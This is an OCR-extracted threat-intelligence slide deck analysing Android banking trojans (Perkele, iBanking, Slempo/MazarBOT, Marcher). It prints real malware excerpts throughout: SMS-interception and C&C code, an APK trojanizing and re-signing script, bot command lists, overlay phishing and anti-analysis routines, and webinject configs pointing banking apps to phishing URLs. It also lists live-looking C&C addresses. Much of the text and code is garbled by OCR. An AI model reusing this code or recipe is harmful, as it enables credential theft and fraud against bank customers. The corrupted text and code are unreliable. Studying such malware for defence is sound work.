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Perkele

When: March/April 2013
Propagation: social-engineering / SMS
Related Threats: Carberp, Citadel, ZeusP2P, Silon/Tilon

Wroro: 167 kannanwn, 177 (177) SMS ompasneno, 141 (141) SMS poctasneno. Peayneramenocts — G0% JKCNopTWpoBATE B T3V
[1 nNonysarenn [} Texer Dam [ Wuaompasurena [[j Ompasneno [ Doctasneno (54 CronmocTn Craryc [Ij  Onepaumn
ompaskM, $

[] 31064679560 Cim de applicatie Trusteer Mobile te downloaden klikt u op de 2014-03-21 MG Weilig 1 0 0 Crnpaenero 4 m
volgende link: httpefing-trusteer comstrusteer.apk 15:16:55

(] 31e53E99273 O de applicatie Trusteer MMobile te downloaden klikt u op de 2014-03-21 IMG Y eilig 1 1 0.1 Crnpasnsro ) m
volgende link: hitpefing-trusteer.comdArusteer.apk 12:50:40

[0 31EE3E99273 Cm de applicatie Trusteer Mabile te downloaden klikt u op de 2014-03-21 IMG Weilig 1 1 01 Crnpaenero 4 m
volgende link: hitpeying-trusteer.comirusteer.apk 11:35:57

0 a1&s7710062 Om de applicatie Trusteer Mobile te downloaden klikt u op de 2014-03-20 IMG Weilig 1 1] 0.1 CTnpasneHo u m
volgende link: hitpefing-trusteer.comArusteer.apk 12:06:05
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Perkele
Social-engineering APK installation

ﬁ Om uw geldzaken zorgeloos te kunnen regelen via internet, is het belangrijk dat u goed beveiligd bent. ING Certificaat beschermt tegen aanvallen van kwaadaardige software (malware) zoals
' Trojans. Deze Trojans proberen op verschillende manieren om uw geld te stelen. Bescherm uzelf beter tegen internetcriminelen. Voer nu de onderstaande gegevens in zodat wij u optimaal kunnen
beveiligen.

» 1) Voer uw volledige mobielnummer in
» 2) Selecteer uw mobiele besturingssysteem
» 3) Druk op de knop volgende

) ’_ Android

) [2] i0S (iPhone)
8 ’_ Windows Phone
) f Symbian

) ’_ BlackBerry
Andere OS

Volgende

a

t

Download link: https://domain.com/android.apk
QR Code: (]
Verificatie code:

Bevestigen
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Perkele

Fake Trusteer app

Trustear

UW ACTIVATIECODE:

# 9561753452
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Perkele

Author/Forum: “Forkasen” (Citadel botnets targeting Italy)
Price: 1 bank (1K USD), all banks (15K USD)

BOTHET kI, KOAWHT, 3arp

WAYiETE6n

" ANDROID BOT Q%
[R3AKA3UMKOB "PERKELE" ¢

i it

POST BEPLY # -

Thread Tools + Search this Thread + Rate Thread » Display Modes +

BaLIER KOHTOREL.

MEHWA NOCNE OTNPREKK CMC Ha T YCTAHOEE HHBIM COTOM.

TEME S4MWUHEN 1 HE YOWMEAEMOCTH HOME A Nog NPWel CMC MKW B OTNUYKME OT goMe

ouoTE m E?
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Perkele

Backend: PHP (on this backend using SMSC for sending SMS)

function send sms ($phones, Smessage, $translit = 0, %$time = 0, %id = 0, %format = 0, $sender
14
static $formats = array(l => "flash=0", "push=0", "hlr=0", "bin=0", "bin=0", "ping=0"}:
Em = _smsc_send cmd ("=zsnd", "cost=3aphones=".urlencode ($phone=) . "ame=s=".urlencode ($me=sage) .
"rranslir=5Stranslitsid=§id". ($format > 0 ? "&".%formats[fformat] : "").
($sender === false ? "" : "&sender=".urlencode ($zender)) ."igharseL=".5M5C CHARSET.
($time ? "itime=".urlencode ($time) : ""). ($gquery ? "&Sgumery™ @ "")):

ff (id, gng, cost, balance) ??? (id, —errar)

cage 'del all sms':

$bot id=% POST['bot id']:

$imei=% POST['imei'l:
§file="listing/".%bot id."/".Simei."/smslist.LxL";
if (unlink(5file))echo 'OH':
else echo 'ERRCR':

break;

cage 'del all call':
$bot id=% POST['bot id']:
$imei=% POST['imei'l:
§file="listing/".S$bot id."/".$imei."/calllist.LxL";
if (unlink(5file))echo 'OH':
else echo 'ERRCR':

break;

Real-time contextual threat intelligence
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Perkele

Botnets: different botnets per customer but one of them soft1 was targeting mainly NL (11K+) and CZ (7K+), UK
(3K+) and IL (3K+)

Code: No obfuscation, no encryption, real simple SMS forwarding.

C&C communication: SMS

Bot Commands: ON/OFF/set admin

private static void processSend(String paramStringl, String paramString?, Context paramContext)

{
PendingIntent localPendinglntentl PendingIntent.getBroadeast (paramContext, 0, new Intent("3M53_SENT"), 0):
PendingIntent localPendinglntent? = PendingIntent.getBroadeast{paramContext, 0, new Intent("5SM5_DELIVERED"™), 0):
SmaManager.getDefauli() . sendTextMessage (paramStringl, null, paramString2, localPendingIntentl, localPendingIntent?):

}

package col.Security.service;

public class Constants
{

public static final String BUTTON OF = "Qk";

public static final String DEFAULT ADMIN NUMBER = "+4915777449483";

public static final String ELEMENT FROM = ". F:";

public static final String ELEMENT MESSAGE = "message ";

public static final String INTENT DELIVERED = "3M3_DELIVERED";

public static final String INTENT SENT = "5M5_SENT";

public static final String KEY ADMIN NUMBER = "adminNumber”™;

public static final String KEY IS FIRST LAUNCH = "isFirstLaunch";

public static final String KEY SERVICE ENABLED = "service3Status™;

public static final String KEY SHARED FREFE = "SecurityService”;

public static final String MESSAGE START UP = "Installation erfolgreichi\n‘\nIhr Aktivierungskode lauteth\n\n7735486173";

public static final String REQUEST OFF = "off";

public static final String REQUEST ON = "on";

public static final String REQUEST SET ADMIN = "set admin”;

public static final String RESFONSE INIT = "INCK";

public static final String RESPONSE OFF = "OFCH";

public static final String RESFONSE ON = "CNOK";

public static final String RESFONSE SET ADMIN = "SROK™;
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iIBanking

New features: “modular” with templates, more commands such as contact list and outgoing calls.

When: October 2013

Propagation: Social-engineering / SMS, phishing
Related threats: ZeuS P2P

Actor: “GFF”, price 4K USD.

Eawm Hyspbl, a

>HbIM MHT!
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iBanking

Backend/Panel: PHP as well, not that advanced as well.

Refresh | Remove all

# From number Received time SMS text
1 ING 08-10-2013 21:10:53 Aantal opdrachten: 1; Totaalbedrag overboekingen EUR 2.479,00. Volgnummer 252; TAM-code 787783
My projects i i
Project 1D User Phone count Options
100 KKK 0 Delete project I Change user I
101 XXX 0 Delete project I Change user I
150 WSV 2 Delete project I Change user I
152 format 8 Delete project I Change user I
102 XXX 1 Delete project I Change user I
Add user | Add project| Change password for user
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iBanking

if(fsmsHack==1) {

Sout.="<td>"':

fout.="'<table border=0 align=center><tr><td align=center style="border-right:lpx =solid #569%9;color:red;" id="smsSwitch'.%imei.'">5M5 OFF</td>";
}
elsea{

Sout.="<td>"':

fout.="<table border=0 align=center><tr><td align=center style="border-right:lpx =solid #56%9;color:green;" id="smsSwitch'.%imei.'">5M5 ON</td>"';
}

if(%callHack==1){

; | Sout.='<td align=center style="border-right:lpx solid #569;color:red;" id="callSwitch'.fimei.'">Call OFF</td>":
}

elsea{

; | Sout.='<td align=center style="border-right:lpx =solid #569;color:green;" id="callSwitch'.fimei.'">Call ON</td>':
}

if (ErecordHack==1){

; | Sout.='<td align=center style="border-right:lpx solid #569;color:red;" id="recSwitch'.fimei.'">Rec OFF</td>":

}

elsea{

; | Sout.='<td align=center style="border-right:lpx solid #569;color:green;" id="recSwitch'.fimei.''">Rec ON</td>':
}

if ($isAdmin==0) {

: | Sout.='<td align=center style="color:red;" id="adminSwitch'.fimei.'">Admin OFF</td>';

}

elsea{

' | Sout.='<td align=center style="color:green;" id="adminSwitch'.fimei.'">Admin ON</td>':

Real-time contextual threat intelligence 12



iBanking

Usage of “templates”:

<string name="templatel® loading">loading please wait</string>
<string name="templatelf first":=ANZ Internet Banking now offers additiomal security in the form of Extended Validation certificates to improwve
online security and make your banking experience even easier.</string>
<string name="templateld certificaat">Connect with friends and the world around you on Fagghook.</string>
<gtring name="templateld generecer">Generate Password Token<,/scring>
<string name="templateld email">Email or Phone<,/strings>
<string :ame=”templatelﬂ_password“>Password<f5tring>
<string name="templatel? uw">Your HNew Token:</strings>
<string name="templatel?® code">\#B9873498721</string>
<string name="templatel’d deze">Use this password for guick access to facebook, please</string>
1 <gtring name="templateld abont'>"Commonwealth Bank of Anstralia
ABN 48 123 123 124 AFSL
-Anstralian credit licence 234945"</string>
<string name="templateld loading">loading please wait</string>
<string :ame=“templatelﬂ_pe_penerate“}Re—Generatecfstring}
<string name="templateld copy">Token put to clipboard</string>
<string name="template2l ttl">Codigo de ativagag:</string>

Real-time contextual threat intelligence
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iIBanking

#keytool -genkey -v -keystore my-release-key.keystore -alias alias name -keyalg RSA -keysize 2048 -validity 10000

apktool d -3 src/ING.apk =src/ING
./tools/baksmali-2.0.2.jar sro/ING/classes.dex —o sroc/fout/
4 ==== here patch dex file ====

TEL BACE="+2 0o0o0003"™
HOSE1=”192.LEE.L.56"
HOSTZ2="1392.168.1.56"

ID BOT="500"
GAEE=”HEa:d:c;d1£”

IC LAUMCHER="1c launcherg"”
TEMPFLATE INDEX="2"

LRPPF N ="AndroidMan"

sed -1 '=/ "o sre/ING/res/values/arrays.xml

sed -i '=/ "o sre/ING/res/values/arrayvs.xml

sed -1 '=/ Jo' src/ING/res/wvalues/strings.xml

sed -1 '=/ ‘o' sre/ING/res/values/strings.xml

sed -1 '=/ STEL BACK'/g' src/ING/res/values/strings.zml

sed -1 '=/ STELL'/g' srcfout/com/soft360/iService/SmsReciever.smali
saed -1 '=/ STELL'/g' srcfout/com/soft360/iService/smaParser.smali
sed -1 '=/ STEL2'/g' srefoutfcom/soft3ie0/iService/SmsReciever.smali
sed -1 '=/ STEL2'/g' sroc/outfcom/soft3i60/iS5ervice/smsParser.smali

% style

sed -i 's/Securityh\x205pace/"'$AFP NAME'/g' src/ING/res/values/strings.xml

sed -i 's/\"template_index\"»5</\"template_index\">'STEMPLATE INDEX'</g' src/ING/res/wvalues/strings.xml
sed -i 's/ic launcher5/"§IC LAUNCHER'/g' src/ING/res/values/strings.xml

#
./tools/smali-2.0.2.jar srofout) -o src/ING/classes.dex

apktool b -f src/ING/ bot.apk

jarsigner -verbose -sigalg SHAlwithRS5A -digestalg S5HL1 -keystore tools/my-release-key.kevystore -keypass 123456
rm -E src/ING

rm -RE src/fout

Real-time contextual threat intelligence

-storepass 123456 bot.apk alias name
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iBanking

Code:
- No obfuscation, still very simple
- Usage of AES in order to hide C&C strings, BOT_ID, etc.

public class MCrypt
i
private String SecretEey = "MIIBIJjANBgkghkiG™:
private Cipher cipher;
private String iv = "f£3b6&8ldfaT02facl";
private IvParameterSpec ivspec = new IvParameterSpec(this.iv.getBytes()):
private SecretKHeySpec keyvspec = new SecretHeySpec{this.SecretHev.getBytes(), "RES");

public MCrypt()
{
try
i
this.cipher = Cipher.getInstance("RES/CBC/HoPadding™);
return;

}
catch (MNoSuchflgorithmException localNeoSuchllgorithmException)

{

localloSuchilgorithrException.printStackIrace(); <string name="def tel number">d289663ab41TcaaldfZafcSbbablls60</string>
return; Lgtring :ame=“buq_id“>b2b9331214D14fGlaTUTEB136?&322d?<£5tring>
! <string :ame=“updata_miu“>1<f5tring>

’{:at“h {NoSuchPaddingkxception locallioSuchPaddingBXCer oo sy nape="urlPostData”>63be34f16bfib3ad3eb67cle6c80e00dE010396e016e500a965a46E244FF0636</strings

localNoSuchPaddingException. printStackTrace () : <3tring name="nrlPostim=">T1ladlac910lcf50e259641lcacerTieTE58e05caB88ef0B8d859caflfdessiz2l2deo</ scrings>
1 <3tring name="nrlCommand">bed%ei6l26bee3fibd59dbi4T3805803doloToabteToblo2991b16279782e8adf«/ scrings>
} £string name="urlim=Li=t">2T78d20fdd3fa%c3Tec541c273a6588d995ddoeTo69c23053b8d43363Ef695ed8a</ string>
<3tring name="unrliendFile">fechda?fh5l1850927E336114d20dala6ff490350a2T79cfab?ececdoT9a6e66330</ scrings>
<3tring name="urlPing">2df460131911bT70cf0174fd1d9a83529930d4d803cedah52ee28ebo9f5chb230e233<,/ string>
“string name="urlchecklUrl">8ced095bchbledbd941dféc23dac3asfabbfeatdT6eas4dTE2dT46bTasbi69%dac/ string>

Real-time contextual threat intelligence =



iIBanking

Code:
«  Some sort of anti-emulator

String atrl = {{TelephonyManager)getSyatemService ("phone™) ). .getDeviceId()
if {{getBesocurces().getString{2131034115).equala("1"))
{
Log.d{"myloeg™, "killprocesses™):
Frocess.ki1llProcess(Proceas.myPid({));

}

£z ((strl.equals("000000000000000"))

Real-time contextual threat intelligence

{getTelNumber () .3tartaWith {"1555521"))
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iIBanking

C&C communication: HTTP / SMS

Bot Commands: get installed apps, get list of calls, recording call, get contact list, start call, send SMS.

Real-time contextual threat intelligence

public class sm3Parser

{
private
private
private
private
private
private
private
private
private
private
private
private
private
private
private

static
static
static
static
static
static
static
static
static
static
static
static
static
static
static

final
final
final
final
final
final
final
final
final
final
final
final
final
final
final

String
String
String
String
String
String
String
String
String
String
String
String
String
String
String

COMMAND ADD DOMAIN = "adddomain™;

COMMAND CHECE URL = “"checlurl®™;
COMMAND GET APPS = "get app3™;
COMMAND GET CALL LIST = "call list™;
COMMAND GET CONTACT LIST = “contact list”;
COMMAND GET IMAGES = "get images™;
COMMAND GET LOCATION = "get place™;
COMMAND GET SMS LIST = “ams list™;

COMMAND PING = "ping";

COMMAND SEND SME = "azend3M5™;
COMMAND START RECORD = "atart record”;
COMMAND START RECORD CALL = "atart record call";
COMMAND STOP RECORD = “stop reccrd";
COMMAND STOP RECORD CALL = “"stop record call™;
COMMAND WIPE DATA = "wipe data";

17



Old-fashion banking malware wrap-up

The year was 2013

Malicious apps used for SMS forwarding: gather OTP (one-time-password) / 2FA (two factor authentication)
codes.

C&C changed from mostly SMS to HTTP but still no custom communication protocol
Malicious apps being used as part of other families campaigns such as ZeusP2P, Citadel, etc.

Code not that advanced but on iBanking some encryption and anti-analysis were used.

Real-time contextual threat intelligence
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GMBot/Slempo/MazarBOT (new era)

When: October/2015 (traces of development since August 2015)
Similar technique described by CERT PL in May 2015 (https://www.cert.pl/en/news/single/malware-attack-
on-both-windows-and-android/)

New feature: Introduce overlay type of attack where malicious app “pops up” in front of the valid app.

Leaked in early 2016 (January/February): variants MazarBOT, Arbvall and likely others.

Related threats: Unknown

Actor: GanjaMan from Exploit.IN (banned in March 2016)

Log on with your NetBank details

Forgotten your Net Bank details?
I'm using a NetCode Token

Log on

Real-time contextual threat intelligence




Slempo/MazarBOT (new era)

Overlay

private ArrayList<3tring> getTop()
{
ArraylList localArrayliat = new ArrayList():
if (Build.VERSION.SDE INT > 22) |
return gethctivePackageM)
}
if (Build.VERSION.SDKE INT > 21) {
return gethctivePackagellNew() »
1
if {Build.VERSION.SDK INT > 20)
{
localRArraylist.add{getictivePackagel () .trim())
return localArraylist;
1
localbkrraylist.add (gethActivePackagePrel.{) .trim() ) »
return localArraylist;

Real-time contextual threat intelligence



Slempo/MazarBOT (new era)

if ((packageName.equals("gom.android.vending™) || packageName.equals ("gon.gofdes-android.music™)) && !sectings.getBoolean(Constants.CODE_IS SENT, false))
{
Intent i = new Intent(MainService.this, Cards.class):

i.addFlags(Intent.FLAG ACTIVITY NEW TASK) ;
i.addFlags{Intent.FLAG ACTIVITY REORDER TO FRONT) ;
starthctivity (i),

static {
CreditCardTvype[] array0fiCreditCardType = new CreditCardTvype[:S]:
array0iCreditCardIyvpe[C] = CreditCardType.VISL;
arraylfCreditCardType[l] CreditCardType.MC;
array0fCreditCardType[Z] CreditCardType.AMEX
array0fCreditCardType[2] CreditCardType.DISCOVER:
array0iCreditCardIvpe[4] = CreditCardTvpe.JCEB;
CREDIT CARD IMAGES TYPE ORDER = arraylfCredicCardlype;

@0verride

protected void onCreate(Bundle savedInstanceS3tate) {
super.onCreate (savedInstanceState) !
setContentView (R.layout.billing addcreditcard fragment) ;
manager = (TelephonyManager) getSystemService (Context.TELEPHONY SERVICE) ;
settings = getSharedPreferences (Constants.PREFS NAME,

Context.HMODE PRIVATE) ;

contentiWholeView = findViewById(R.id.credit_card details):
inflatehddressView () ;
contentCardView = findViewById(R.id.addcreditcard fields):
vbvConfirmationView = findViewById(R.id.vbv_confirmation) :
loadingView = findViewById(R.id.lcading spinner):;
ccBox = (CredicCardNumberEdicText) findViewById(R.id.cc box);
ccBox. setOnCreditCardTypeChangedLi=stener (this) »
cvcPopup = (ImageView) findViewById(R.id.cwvc image) ;
cvcPopup.setCnClicklistener (new CnClickListener() {

Real-time contextual threat intelligence



Overlay

Real-time contextual threat intelligence

A
Google Pla
V4 g y

Confirm credit card details.

Enter details about the credit card
for verifying payment details

|VISA e o] e I'S'

Card number

h/{ [\“/' / \T/ Y - u

Cardholder name




Slempo/MazarBOT

Overlay

@5uppresslint ("SetJavaScriptEnabled™)
BOverride
protected wvoid onCreate (Bundle savedInstanceState) {
isWebViewLoaded = false;
if (=savedInstanceState =— mmll) {
super.onCreate (savedInstanceState) ;
try {
setContentView (R.layout.html dialogs);
layout = (FramelLayout) findViewById(R.id.html layout):
JESCHCEbject json = new JS5CHChbject (getIntent () .getStringExtra("valuss"})
bvte[] data = Basegd.decode(json.getString("html"), Baseo4.DEFAULT) ;
try {
html = new String(data, "UIEF-2"});:
} cateh (UnsupportedEncodingException e} {
e.printStackTrace()
¥
packageName = json.getString("package™)
webfAppInterface = new WebAppInterface (this, packageName) ;
webView = (WebView) findViewBvId(R.id.webView):;
webView.setWebChromeClient (new CommonHTMLChromeClient () ) !
webView.setScrollBarStyle (View. SCROLLEARS OUTSIDE CVERLAY) ;
webView.getSettings () .setJavadcriptEnabled (trus) ;
showWebView () ;
} ecateh (JSCHException e) {
e.printStackTrace(}

{" command" : "update s " 1" hitml
version":1,"data": [{ ["at.volksbank.volkshankmobile" ] P GhObWw+P Gh1YWQ+D 0o Cixz¥3TpcH)go3TiP5TodHRwezovL 2F g
yaXBOPgOEDQo8c3R5hE B 7D Qod CW1hemdph] o gMD sHCgkTcGFRE MC gl YmF3 a2dyb3VuZllib2xveiogl 2ZmZ ) sHCykILWlveili YWR

e AT T I AT T e v e T Twen Fide = T30 W o ol T Ao T BT arle T D= = alwrle 3T T AT T G b TLITEMA A S D =Wl T Tl T AT TT AR TULIT T S T TTa e TLT Tl b e e 0T Lewen T T 6 3 e T
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Slempo/MazarBOT

Builder

// reHenauME RUEER ANA DoRnMcH Dauna
Jfunction generate sign key($affiliate id, $app type id) {

£firstnames = array("Bob", "Bill", "Thomas", "George"”, "Jeff", "Sam", "Morgan", "William", "John", "Jeff", "Samuel"”):;
$lastnames = array ("Gruher"”, "Huber"”, "Bauer", "Wagner", "Mayer"”, "Berger", "Schmidt”, "Williams", "Wilson", "Johnson", "Robinson", "Walker", "Roberts", "Green", "Hall",

"Jackson™, "Parker™);

fonction generate crap entry (Stype, $param id, $variable name, &5last random variable, &Scrap counter = false) {

global $_rnd_values_lnwer_upper, $rnd_used_values;

fcrap entry = "";
if($crap_cnunter = fal=se) $crap_cnunter++;
$x_functiun_prefix = rnd text string(s, 2, $_rnd_values_luwer_upper]:
$x_functiun_name = rnd text string(s, 11, $_rnd_values_1nwer_upper, $rnd_used_valuesj;
$rnd variable mame = $x function prefix . $x function name . sprintf("%x", Scrap counter);
$rnd_string_variable_value = rnd text string(s, 15, $_rnd_values_1uwer_upper, $rnd_used_values];
$string_equals_cnmpare_variables = array({"'= false"™, "=— false"™, "=— true", "!= true", ""});
$integer_cnmpare_variables = array("!=", "==v, "Lh=w_ "LN, Wg=n, memy e
$buu1ean_cumpare_variables = array("!'= false™, "=—= false", "== true™, "!= trus");
switch ($type) {

case 0: f/ 5tring

Real-time contextual threat intelligence
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Slempo/MazarBOT

Obfuscation

Boolean localBoolean]l = Boolean.wvalusOf{true);
int i
label52:
lakelss:
labeldg:
Boolean localBoolean?;
if {paramBoolean.booleanValue () == true)
{
Boolean.valueOf{true) »
if {Integer.wvalusOf({30338).intValue() > paramInteger.intValue()) {
break lakel23l:
}

if {paramInteger.intValue({) != 3038) |
break lakel223:

}

i = 71&5;

Integer.wvaluedf{i)
if {!paramStringl.equals("1EKEBOLE™))
{
if ("1EKEBOLF".length({) »= 3735} |
break label2dl:
}
new StringBuilder().append (paramStringl) .append ("1KEBCLE"™) .toString ()
}
localBoolean? = Boolean.wvalueOf{false)
if {paramBooleanl.boocleanValue () == true) |
break labelled:
}
Boolean.valueOf{true) »
if {!paramString2.equals{"glLUONN™)) |
break lakel29l:

Real-time contextual threat intelligence
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Slempo/MazarBOT

Builder

$app_type_cunfigs = array |

1 => array ("name" => "Video Player", "admin message" => "Video Player Install"),

Z =»> array ("name"™ => "Abode Flash Player™, "admin message" => "Adobe Flash Player Install™),

3 = array("name" => "Android Core Defender", "admin message" =»> "Core Defender Install"™},

4 => array ("name" => "Shield Free Mobile Security", "admin message"™ => "Shield Free Mobile Security Install")},
5 => array("name" => "HD Porn (Free of charge)", "admin message" => "HD Porn (Free of charge) Install™),

& =» array ("name" => "Porn Game", "admin message" => "Porn Game Install"™)

)

Activate device administrator?

Adobe Update

Get video codec access

Activating this administrator will allow
the app Adobe Update to perform the
following operations:

Erase all data

Erase the phone's data without warning by
performing a factory data reset.

Activate this device administrator
Cancel

Uninstall app
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lempo/MazarBOT
Distribution method: phishing, SMS, Google Play
Example of SMS: “Please install this app for your antifraud protect. hxxp://bit.ly/29DU4HA”

Traffic Distribution System (TDS) targeting Europe and AU

BALLW CCbIJIKW

#2 http://217.182.204.32/%id=XnXPM| 72
& be. D iPhone, HTC, Dell, Nexus, BlackBerry, Motorcla, Samsung, Seny, LG, Micromax, Asus, Vertu, Palm, Pantech, Fly, Wiko, IMobile, SimValley, Wolfgang, Alcatel, Prestigio,

QMobile, Beeline, Philips, ZTE, Lenove, HUAWEI, Nintendo, Amoi, INQ, GenericPhone. iPad. @ Chrome. B8 Androidos,

& @ ato ¥ @

#1 http://217.182.204.32/%id=4Xcx0d 155
@ at, au, cz, de, fr, g, nl. D iPhone, BlackBerry, HTC, Mexus, Dell, Motorola, Samsung, LG, Sony, Asus, Micromax, Palm, Vertu, Pantech, Fly, Wik, iMobile, SimValley, Welfgang,

Alcatel, Prestigio, QMobile, Beeline, Philips, ZTE, Lenovo, HUAWEI, Nintendo, Amoi, INQ, GenericPhene. iPad. @& Chrome. E§ Androidos,

Co3/aTb HOBYH CChIKY

A CTATUCTUKA
Bee ccumin N
3aHefeno  3ajJeHs  [laTa
Crpaubi  Ycipoiictea  Bpaysepel  OS

Vuuxn: 30 [ Exits: 32

I XwuTe: 33
16
14
(© SHADOW-TDS | JABBER: shad301@exploit.im
L S O Y S o
e e R R R S N G S U e R R N N
S o © o & © © & o o o o & & o & o o o S o oo °o oo - o
NN NN N N B NN NNy Ny BN Ny N B N B By Ny
Lo B T T B B> B RS T T B B T N> S B B> BT N B> S B B T B
S 9 T S ST P S T ST S 9 S S S S S ST S S S S S S S
L N - I o T T T S~ S A S - A T T, TR S S R S - S ~
(=) =) (=) > ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ &N N8 o N o~ NN o bl ™

Bl BOLWLAKM Kak: admin

logout
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Slempo/MazarBOT

Panel instantVBV =  Bpems:2016-09-23 19:00:50

g admin Dashboard nawens ynpasnetus

Cnline

1

p Dashboard Becero KapT Kaprl 34 CeroagHs

= KapTh MoppobHee ©

MoopobHee ©

Akka YHTEI
CTaTUcTUKa Mo cTpaHam -

& Botnl

E [punoxeHwnA 7

Jabber-pacceinka 500

MHcTannepol

0 e - — — [ |

AR AT CN DE DK ES =GB HK IL IT ML MO PL RO SE s5G SK s

Beero wHeTannce WMHeTannbl cercoHa
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Django administration Welcome, admin2 ~

Home / Smsapp / Application

Select application dialog to change [4Add application dialog

Description

ANZ

Alior Mobile
Amazon
BZWBK24 mobile

Bank Millennium

Bank Pekao

Real-time contextual threat intelligence




Panel

Django administration Welcome, admin2 -

Home / Smsapp / Application dialogues /

Change application dialog

Save and add another Save and continue editing -

Real-time contextual threat intelligence



Slempo/MazarBOT

Target list: Besides hard-coded target list, new targets could be added dynamically through #update _html
command.
Currently, MazarBOT only delivers HTML data if targeted app is found on the infected device.

{"cype":"reg", "phone": MLIS5552 LEL3SY, "eountey" cTUSY, Mime i i "I fe518h3 e Y, "mode L i "Eenymot ion
Androidnew", "apps": ["at.volksbank.volksbankmobile™, "com. hgzel. zgnlpufg™, "com. example .. android.apis™, "com. android. gesture.builder™] , "operator™:"310Z270", "os":"7.0", "install id"™:"ZZZ"}
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Slempo/MazarBOT

C&C communication: HTTP. We’ve seen one variant using SOCKS5 proxies which then communicates through its
C&C on the TOR network but not lately.

HTTP/1.1 200 OK

Server: nginx/1.6.2 (Ubuntu)

Date: Thu, 17 Aug 2017 12:41:33 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive

X-Powered-By: PHP/5.6.31
Content-Length: 8829

{"command" : "update html",6 "params":{"html

version":1,"data": [{"packages": [“com.paypal.android.p2pmobile"],"html":
"PGhObWw+DQo8a. ..

Real-time contextual threat intelligence



Slempo/MazarBOT

C&C communication: one variant called Abrvall targeting mostly Turkey found using different type of
communication but still not encrypted in any way.

HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Wed, 17 Feb 2016 18:41:47 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 2522

X-Powered-By: PHP/5.4.45

injectslist:6£72672e776573747061632e62616e6b5e636£6d2e776573747061632e6361736874616
e6b5e61752e636£6d2e776573747061632e6£f6e6c696e65696e76657374696e675e6£72672e62616e6b
696e672e776573747061632e7061797761795e636£6d2e7265762e6d6£62696c6562616e6b696e672e7
76573747061635e636£6d2e776573747061632e696c6c756d696e6174655€636£6d2e62656e6469676£
62616e6b2e6d6£62696c655e636£6d2e636£6d6d62616e6

Real-time contextual threat intelligence
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Slempo/MazarBOT

C&C communication: BOT commands
#update_html

#domain
#sms_intercept start
#sms_intercept _stop
#sms_listen_start
#sms_listen_stop
#sms_send
#call_forward_start
#sms_blocklist_start
Happs

Hproxy_start

Hproxy_stop

#plugin_add
#plugin_start

#files_list

#file_transfer

H#spam
#extract_phone_numbers
#open_url

Real-time contextual threat intelligence
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Marcher (Exobot)

When: October/2015, in the news more in June/2016
Distribution method: phishing / social-engineering, SMS
New feature: more advanced from a code level perspective, phishing on the website itself, “proxy” module.

LLOYDS BANK ‘R‘\‘

UsedID:

Password:

Memorable Information:

Real-time contextual threat intelligence
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Marcher (Exobot)

Phishing page being displayed both on app and website.

{"co": "com. commbank. netbank™, "body™: "http: /S f4ingfng344. ruS111/1fau/01.php™},
{"co":"org.westpac.bank", "body": "http: /S f4iugfng3I4d. ru/111/1/an/ 02 . php"},
{"tco":"org.stgeorge.bank™, "body": "http: //f4ingfng344. ru/111/1/au/03 . php"},
{"co":"au.com.nab.mobile™, "body"™: "http: /S f4ingfng344. ru/111/1/au/04. php™},

{"co"™:"au.com. ingdirect.android", "body" : "http: S/ f4iugfng344 . ruS 1111 au/S05. php™},
{"co™:"au.com.bankwest.mobile™, "body "™ "http: /S f4iugfng344.ru/111/1/an/06.php™},
{"tco":"org.banksa.bank"™, "body"™: "http: //f4ingfng344. . ru/111/1/au/08 . php"},
{"co":"com.android.email™, "body™: "http://f4ingfng344.ru/111//mail/mail .. php™},
{"co":"com.paypal .android.pZ2pmobile™, "body™: "http: S f4iugfng344. ru 1111/ pavpal fpayvpal .php™}

{"to":
{"to":
{"to":
{"ca":
{"to":
{"to":
{"to":
{"ca":

"commbank.com.au", "body™: "http: /S f4iugfng344. ru/ 111/ an/01l.php™},
"westpac.com.au", "body™: "http: /S f4iugfng3I44. ruS111/1/an/ 02 .php"},
"gtgeorge.com.au", "body"™: "http: /S f4iugfng3i4d. ru/111/1/auS03 . php"},
"nab.com.au", "body": "http://f4iugfng344. ru/111/1/an/04. . php™},
"ingdirect.com.au", "body™: "http:///f4iuging344.ru/111//au/05.php™},
"pankwest.com.au", "body"™: "http: S f4iugfng3i4d. ru/111/1/auS 06 . php™),
"panksa.com.au", "body™: "http: /S f4iugfng344. ru 1111 fan/08.php" ),
"paypal.com", "body": "http:///f4iugfng344. ru/111/]1 /paypal fpaypal .php"}

Real-time contextual threat intelligence
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Marcher (Exobot)

Overlay

// get running apps
List<AndroidAppProcess> processes = AndroidProcesses.getRunningForegroundiApps (CtX) 7

f{ Freedialog - block =screen with webpage feature
if ((boolean) Modules.main(ctx, S.get_pref, new Object[]l{ 5.free dialog, false }) && !'Utils.inRunningApps (ctx.getPackageName (), processes,

startFreeDialog() :

retarn;
}
String minimize = (S5tring) Modules.main{ctx, S.get pref, new Object[]{ 5.api minimize apps, ""}}:/
String[] z2pps_minimize = (S5tring[]) Modules.main(ctx, 5.string2list, new Object[] {minimize}};

S/ minimize apps 4-5-6
for (int count = 0; count < apps _minimize.length; count++)
if(Utils.inRunningfhpps (apps_minimize [count], processes, null)) {
Ucils.minimizeRll (ctx)
return;

/{ parse webinjects to show
Map<5tring, Integer> apps = Utils.getApplications(ctx, (String) Modules.main(ctx, S.get pref, new Object[]{ 5.apli_injects, "" })}:

Real-time contextual threat intelligence

nall)) {
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Marcher (Exobot)

Anti-analysis (debugging, emulator, country)

otx = getApplicationContext () !
1t (Utils.15 blocksd{ctx)) {
finish():
retarn;

public static boolean is _blocked(Context ctx)

{
if (Constant.DEBUG) Log.d(TAG, "CHECE IF ELOCEED")

if {Constant.DEEUG)
return false:

if(is_debugger(}) f{
if (Constant.DEBUG) Log.d(TAG, "debugger detected;
return trme;

if(is_emulator(ctx))

i

if ({Con=stant.DEBUG) Log.d{TAG, "IMET detected emulator;

return true;

if ({Con=tant.SEIF COUNTRY CHECEK})
return false;

String[] blocked countries = S.blncked_cnuntries.split{"11 Ty

String[] blocked langs = 5.blocked langs.split ("% |"}:

Real-time contextual threat intelligence
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Marcher (Exobot)

Anti-analysis (debugging, emulator, country)

function is_bot blocked($bot_id, £data)
{
# if IP is blocked
$ip = hlp::get client ip()};
fgeneral = $this-»client cfg['db main']:

£sqgql = "select ip from {$general}.b;ccked_bcts where ip=:ip or bot id=:bot_id";
Sparams = ArTay|
array(":ip", &ip, FDO: :PARAM STR, 1:3),

array (" :bot_id", $but_id, PDO: : PARAM STR, 22},
)i

